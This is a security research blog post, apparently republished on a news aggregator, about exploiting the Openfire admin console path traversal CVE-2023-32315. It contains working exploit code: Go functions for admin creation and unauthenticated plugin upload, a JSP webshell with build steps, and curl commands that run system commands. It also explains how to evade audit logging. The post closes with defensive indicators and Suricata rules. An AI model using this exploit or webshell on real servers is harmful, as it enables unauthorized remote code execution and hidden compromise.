Close Menu

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    What's Hot

    Debian exim4 Important Remote Code Execution Denial of Service 6265-1

    May 13, 2026

    CVE-2026-44418 | THREATINT

    May 13, 2026

    The Chinese Deepfake Software Powering Scams

    May 13, 2026
    Facebook X (Twitter) Instagram
    • Demos
    • Technology
    • Gaming
    • Buy Now
    Facebook X (Twitter) Instagram Pinterest Vimeo
    Canadian Cyber WatchCanadian Cyber Watch
    • Home
    • News
    • Alerts
    • Tips
    • Tools
    • Industry
    • Incidents
    • Events
    • Education
    Subscribe
    Canadian Cyber WatchCanadian Cyber Watch
    Home»News»Exploitation of Openfire CVE-2023-32315 | Blog
    News

    Exploitation of Openfire CVE-2023-32315 | Blog

    adminBy adminMay 8, 2026No Comments11 Mins Read
    Share Facebook Twitter Pinterest LinkedIn Tumblr Reddit Telegram Email
    Share
    Facebook Twitter LinkedIn Pinterest Email


    CVE-2023-32315 is a path traversal vulnerability affecting the Openfire admin console. Openfire is a well-known open-source chat server, and according to the current maintainers, Ignite Realtime, the server software has been downloaded almost 9 million times.

    This vulnerability has flown under the radar on the defensive side of the industry. CVE-2023-32315 has been exploited in the wild, but you won’t find it in the CISA KEV catalog. There has also been minimal discussion about indicators of compromise and very few detections (although to their credit, Ignite Realtime put out patches and a great mitigation guide back in May).

    On the offensive side, things have been more robust. You can find quite a few public exploits. There are some major differences between these exploits, but generally, they all follow a simple pattern: Use the path traversal to create an administrative user, log in, and then upload a plugin to achieve code execution. This process is typically manual, although Metasploit uploads the plugin programmatically).

    What’s particularly interesting about this is that creating the administrative user isn’t necessary, but it’s re-implemented over and over again. Worse, not only is it not required, but it significantly increases the amount of logging the attacker introduces.

    In this blog, we’ll demonstrate an improved exploit for CVE-2023-32315, learn how to craft an Openfire plugin webshell, examine indicators of compromise, and share network detections.

    To start, we want to establish that this vulnerability is still prevalent in the wild. At the time of writing, we see approximately 6,300 servers on Shodan. Censys shows a bit more, but it doesn’t follow the redirect to login.jsp making the queries a little more dicey.

    Openfire instances on Shodan

    Openfire exposes the installed version on the login page. To determine just how widely exploitable this vulnerability is, we did a version scan of the servers on Shodan. Openfire put out three patched versions: 4.6.8, 4.7.5, and 4.8.0. Approximately 20% of the servers had upgraded to those versions.

    Openfire Versions Indexed by Shodan

    This doesn’t mean the remaining 80% are using affected versions. Openfire says the first affected version is 3.10.0, released in April 2015. Any version released before then is not vulnerable, and these older versions make up nearly 25% of the internet-facing Openfire servers. Of those, the most popular version is 3.7.1,released in 2011. You could assume those are mostly honeypots, but we can’t be sure.

    We found there are a variety of Openfire forks that may or may not be vulnerable, making up about 5% of the internet-facing servers. This leaves approximately 50% of the internet-facing Openfire servers using affected versions. While that’s only a few thousand servers, it’s a decent number given the server’s trusted position associated with chat clients.

    Current public exploits start by using the traversal to reach user-create.jsp to create an administrative user. There are quite a few exploits at this point, but as far as I can tell, the first public exploit to establish an admin user was published on June 14 as tangxiaofeng7/CVE-2023-32315-Openfire-Bypass on GitHub (at least five days after the first in-the-wild exploitation). Written in Go, the admin creation looks like this:

    username := generateRandomString(6)
    password := generateRandomString(6)
    
    createUserUrl := fmt.Sprintf("%s/setup/setup-s/%%u002e%%u002e/%%u002e%%u002e/user-create.jsp?csrf=%s&username=%s&name=&email=&password=%s&passwordConfirm=%s&isadmin=on&create=%%E5%%88%%9B%%E5%%BB%%BA%%E7%%94%%A8%%E6%%88%%B7", t, csrf, username, password, password)
    res, err = rawhttp.Get(createUserUrl)
    
    m := map[string][]string{"Cookie": {"JSESSIONID=" + jsessionid, "csrf=" + csrf}}
    
    res, err = rawhttp.DoRaw("GET", createUserUrl, "", m, nil)
    if err != nil {
     fmt.Println(err)
     return
    }
    

    Note that create= is followed by a bunch of URL encoded characters. They translate to 创建用户or “create user”. For detection purposes, it’s important to know this isn’t a reliable value, as OpenFire supports a variety of languages. For example, Metasploit sends this exact same admin creation request, but it’s slightly different. Here is Metasploit’s request on the wire (these requests can be POST requests, but both implementations opted for GET for whatever reason):

    GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=5QQN6JwEVq9LIW1&username=hqvvvarefibpfx&password=Qm7y4eZgU9&passwordConfirm=Qm7y4eZgU9&isadmin=on&create=Create%2bUser HTTP/1.1
    Host: 10.9.49.143:9090
    User-Agent: Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1
    Cookie: JSESSIONID=node06x26aqm77cqelg1crrhtstts10.node0; csrf=5QQN6JwEVq9LIW1
    Content-Type: application/x-www-form-urlencoded
    

    These exploits are creating an admin user to gain access to the Openfire Plugins interface. The plugin system allows administrators to add, more or less, arbitrary functionality to Openfire via uploaded Java JARs.

    Openfire plugins page

    This is, very obviously, a place to transition from authentication bypass to remote code execution.

    The tangxiaofeng7 exploit repository contains an Openfire plugin with a JSP webshell. Once the attacker has created administrative credentials, they can log in, upload tangxiaofeng7’s plugin, and gain access to a webshell. Similarly, the Metasploit module’s plugin is uploaded but initiates a reverse shell instead of a webshell.

    Real-world attackers have followed this approach as well. For example, we know the Kinsing botnet likely followed this approach based on comments from the Ignite Realtime forums.

    Fortunately for defenders, the admin user creation is noisy. Another user on the forum posted the Openfire security audit log after they’d been exploited (note that the audit log doesn’t disappear just because the system log file has been deleted):

    Openfire security audit log after exploitation

    Unfortunately for defenders, attackers don’t need to create a user or authenticate to upload a plugin. CVE-2023-32315 gives the attacker access to plugin-admin.jsp, just as it gives the attacker access to user-create.jsp. So when we wrote our exploit, we opted for a user-less approach. We extracted a JSESSIONID and CSRF token from /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp and then executed the following logic from our go-exploit-based exploit:

    func uploadWebshell(conf *config.Config, token string, session string) bool {
        // webshell is uploaded as a multipart upload
        var multipartFile bytes.Buffer
        writer := multipart.NewWriter(&multipartFile)
        header := make(textproto.MIMEHeader)
        header.Set("Content-Disposition", `form-data; name="uploadfile"; filename="exampleplugin.jar"`)
        header.Set("Content-Type", "application/x-java-archive")
    
        // copy the webshell into the writer
        filedata, _ := writer.CreatePart(header)
        _, _ = io.Copy(filedata, strings.NewReader(webshell))
        writer.Close()
    
        // upload it
        headers := map[string]string{
            "Cookie":    fmt.Sprintf("JSESSIONID=%s;csrf=%s", session, token),
            "Content-Type": writer.FormDataContentType(),
        }
    
        // create a normal request. Go does not like the %u in their standard req, so create a
        // normal request and then insert the malformed URI into the URL struct
        url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
        client, req, err := protocol.CreateRequest("POST", url, multipartFile.String(), false)
        if err {
            return false
        }
    
        req.URL.Opaque = "/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?uploadplugin&csrf=" + token
    
        protocol.SetRequestHeaders(req, headers)
        resp, _, ok := protocol.DoRequest(client, req)
        if !ok {
            return false
        }
        if resp.StatusCode != 500 {
            output.PrintfError("Expected 500 response: %d", resp.StatusCode)
    
            return false
        }
    
        return true
    }
    

    As you can see, we are just uploading the plugin JAR via a POST request (and working around a bit of Go-foolishness associated with the %u002e in the URI). Without authentication, the plugin is accepted and installed. The webshell can then be accessed, without authentication, using the traversal. For example:

    curl -v "http://10.9.49.143:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/plugins/exampleplugin/exampleplugin-page.jsp?cmd=whoami"
    

    This approach keeps login attempts out of the security audit log and prevents the “uploaded plugin” notification from being recorded. That’s a pretty big deal because it leaves no evidence in the security audit log. For example, this is the security audit log for a system we exploited:

    Empty Openfire security audit log after exploitation

    As you can see, there is absolutely nothing to indicate anything is amiss.

    The actual openfire.log file tells a different story (depending on your installation, it may be found at /mnt/openfire/logs/openfire.log). You can find these important indicators in this log file:

    2023.08.18 17:19:49 [33mWARN [m Jetty-QTP-AdminConsole-39: org.eclipse.jetty.server.handler.ContextHandler.ROOT – Unhandled exception occurred whilst decorating page
    java.lang.NullPointerException: Cannot invoke “org.jivesoftware.openfire.user.User.getUsername()” because the return value of “org.jivesoftware.util.WebManager.getUser()” is null

    2023.08.18 17:19:49 [33mWARN [m Jetty-QTP-AdminConsole-39: org.eclipse.jetty.server.HttpChannel – /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp
    java.lang.NullPointerException: Cannot invoke “org.jivesoftware.openfire.user.User.getUsername()” because the return value of “org.jivesoftware.util.WebManager.getUser()” is null

    Unfortunately, an attacker could use the path traversal to delete the log file. Depending on the permissions of the Openfire user, the attacker might be able to delete the log file via the webshell/reverse shell,which leaves the plugin itself as the only artifact that indicates exploitation. This is why it’s important to know how one is crafted when analyzing a system that might have been exploited.

    We were very lazy when crafting our plugin. We just used the Openfire example plugin. The only modification we made was to /src/main/web/exampleplugin-page.jsp when we changed the JSP into a very simple webshell (with a weird X-Header that we’ll touch on later).

    <%
    String cmd = request.getParameter("cmd");
    if ( cmd != null) {
        java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        String line = in.readLine();
        if (line != null) {
         response.setHeader("X-Error", line);
        }
    } %>
    

    The real challenge was figuring out how to compile the thing (it probably should have been obvious, and we think we even came to a wrong conclusion… but it works). Our process roughly worked out to:

    git clone https://github.com/igniterealtime/openfire-exampleplugin.git
    cd openfire-exampleplugin
    cp ../webshell.jsp ./src/main/web/exampleplugin-page.jsp
    mvn -B package
    cp ./target/exampleplugin.jar exampleplugin.zip; zip -ur exampleplugin.zip ./plugin.xml ./readme.html; mv exampleplugin.zip ./target/exampleplugin.jar;
    

    ./target/exampleplugin.jar is then ready to be uploaded. It’s important to know that the plugin does not keep the webshell in its raw form. The webshell gets compiled into a class. So if you want to go hunting for the webshell, you have to dig much deeper than normal.

    Openfire plugin compiled webshell in jd-gui

    Once uploaded, the plugin looks exactly like the example plugin would. The only difference is that it has our webshell in it.

    Openfire webshell plugin uploaded

    As previously mentioned, the attacker is free to use the webshell without authentication by using the traversal. However, using the traversal causes an exception and a stack trace to be dumped to standard out, preventing the webshell from presenting any content via the HTTP response body.

    Looking back at our webshell, you can see that we send all command output to an HTTP header. Which means even though accessing the webshell via the path traversal generates a huge error message, we can still execute and view arbitrary commands:

    albinolobster@mournland:~$ curl -v "http://10.9.49.143:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/plugins/exampleplugin/exampleplugin-page.jsp?cmd=id"
    *   Trying 10.9.49.143:9090...
    * TCP_NODELAY set
    * Connected to 10.9.49.143 (10.9.49.143) port 9090 (#0)
    > GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugins/exampleplugin/exampleplugin-page.jsp?cmd=id HTTP/1.1
    > Host: 10.9.49.143:9090
    > User-Agent: curl/7.68.0
    > Accept: */*
    >
    * Mark bundle as not supporting multiuse
    < HTTP/1.1 200 OK
    < Date: Fri, 18 Aug 2023 17:20:01 GMT
    < X-Frame-Options: SAMEORIGIN
    < Content-Type: text/html
    < Set-Cookie: JSESSIONID=node07guewb33cw4m1va20g1n0okxd6.node0; Path=/; HttpOnly
    < Expires: Thu, 01 Jan 1970 00:00:00 GMT
    < X-Error: uid=0(root) gid=0(root) groups=0(root)
    < Content-Length: 6335
    <
    

    From there you can trivially pivot inward, remove the webshell, and hide within the system. All without creating the administrative user and making a mess in the log files.

    Any good attacker should know how to detect as well. VulnCheck is particularly interested in network-based detections. Detecting this attack on the wire isn’t too complicated, but there is some nuance.

    Suricata correctly normalizes the %u002e%u002e/ as a path traversal. That sounds great, and naively a rule look the following rule can be crafted to detect all of the public exploits we’ve seen thus far:

    alert http any any -> any any ( \
      msg:"VULNCHECK Openfire CVE-2023-32315 Exploit Attempt"; \
      flow:established,to_server; \
      http.uri.raw; content:"/setup/setup-s/"; startswith; \
      http.uri; content:!"/setup/setup-s/"; startswith; \
      reference:cve,CVE-2023-32315; \
      classtype:web-application-attack; \
      sid:12701381; rev:1;)
    

    The problem is that it’s really easy to bypass. For example, if the attacker just started the URI with /./ then it will break the rule. Or /setup/./setup-s/. Plenty of little tricks like that. So this “good enough” rule should really be augmented with additional rules just in case someone wants to get clever:

    alert http any any -> any any ( \
      msg:"VULNCHECK Openfire CVE-2023-32315 Exploit Attempt (Account)"; \
      flow:established,to_server; \
      http.uri.raw; content:"setup"; \
      content:"setup-s"; distance: 1; \
      content:"%u002e"; distance: 1; \
      content:"user-create.jsp"; distance: 1; \
      reference:cve,CVE-2023-32315; \
      classtype:web-application-attack; \
      sid:12701382; rev:1;)
    

    alert http any any -> any any ( \
      msg:"VULNCHECK Openfire CVE-2023-32315 Exploit Attempt (Plugin)"; \
      flow:established,to_server; \
      http.uri.raw; content:"setup"; \
      content:"setup-s"; distance: 1; \
      content:"%u002e"; distance: 1; \
      content:"plugin-admin.jsp"; distance: 1; \
      reference:cve,CVE-2023-32315; \
      classtype:web-application-attack; \
      sid:12701383; rev:1;)
    

    Detection after exploitation is much more challenging since the attack, if done correctly, can entirely avoid the security audit log. The next best source of truth is any new/unexpected plugins on the system. Generally, however, someone will need to look at that with a Java decompiler, which isn’t useful for a layperson.

    The final source to examine is probably the openfire.log file (which might get deleted). The telltale indication of exploitation in the log file will be long stack traces associated with:

    “org.jivesoftware.openfire.user.User.getUsername()” because the return value of “org.jivesoftware.util.WebManager.getUser()” is null

    In this blog, we demonstrated a new way to exploit CVE-2023-32315. This method avoids creating an admin user and bypasses some important security logging. Given that, we identified potential areas to identify compromise (JAR file, openfire.log) and provided a general outline of what indicators to look for.

    This vulnerability has already been exploited in the wild, likely even by a well-known botnet. With plenty of vulnerable internet-facing systems, we assume exploitation will continue into the future.

    If you are as interested in exploits as we are, register for a VulnCheck account today by clicking “Sign in / Join Community and schedule a demo to learn more.



    Source link

    Share. Facebook Twitter Pinterest LinkedIn Tumblr Email
    Previous ArticleCVE-2026-42072 | THREATINT
    Next Article Microsoft Edge security advisory (AV26-436)
    admin
    • Website

    Related Posts

    News

    The Chinese Deepfake Software Powering Scams

    May 13, 2026
    News

    At Least We Know the Washington Post Isn’t Buying Views

    May 13, 2026
    News

    Windows BitLocker zero-day gives access to protected drives, PoC released

    May 13, 2026
    Add A Comment

    Comments are closed.

    Demo
    Top Posts

    Catchy & Intriguing

    March 17, 202674 Views

    Defending Canada’s Digital Frontier: Combating Phishing, Social Engineering, Ransomware, and Malware

    March 23, 202624 Views

    IP Address Investigations and Local OSINT

    March 20, 202624 Views
    Stay In Touch
    • Facebook
    • YouTube
    • TikTok
    • WhatsApp
    • Twitter
    • Instagram
    Latest Reviews
    85
    Featured

    Pico 4 Review: Should You Actually Buy One Instead Of Quest 2?

    January 15, 2021 Featured
    8.1
    Uncategorized

    A Review of the Venus Optics Argus 18mm f/0.95 MFT APO Lens

    January 15, 2021 Uncategorized
    8.9
    Editor's Picks

    DJI Avata Review: Immersive FPV Flying For Drone Enthusiasts

    January 15, 2021 Editor's Picks

    Subscribe to Updates

    Get the latest tech news from FooBar about tech, design and biz.

    Demo
    Most Popular

    Catchy & Intriguing

    March 17, 202674 Views

    Defending Canada’s Digital Frontier: Combating Phishing, Social Engineering, Ransomware, and Malware

    March 23, 202624 Views

    IP Address Investigations and Local OSINT

    March 20, 202624 Views
    Our Picks

    Debian exim4 Important Remote Code Execution Denial of Service 6265-1

    May 13, 2026

    CVE-2026-44418 | THREATINT

    May 13, 2026

    The Chinese Deepfake Software Powering Scams

    May 13, 2026

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    Facebook X (Twitter) Instagram Pinterest
    • Home
    • Technology
    • Gaming
    • Phones
    • Buy Now
    © 2026 ThemeSphere. Designed by ThemeSphere.

    Type above and press Enter to search. Press Esc to cancel.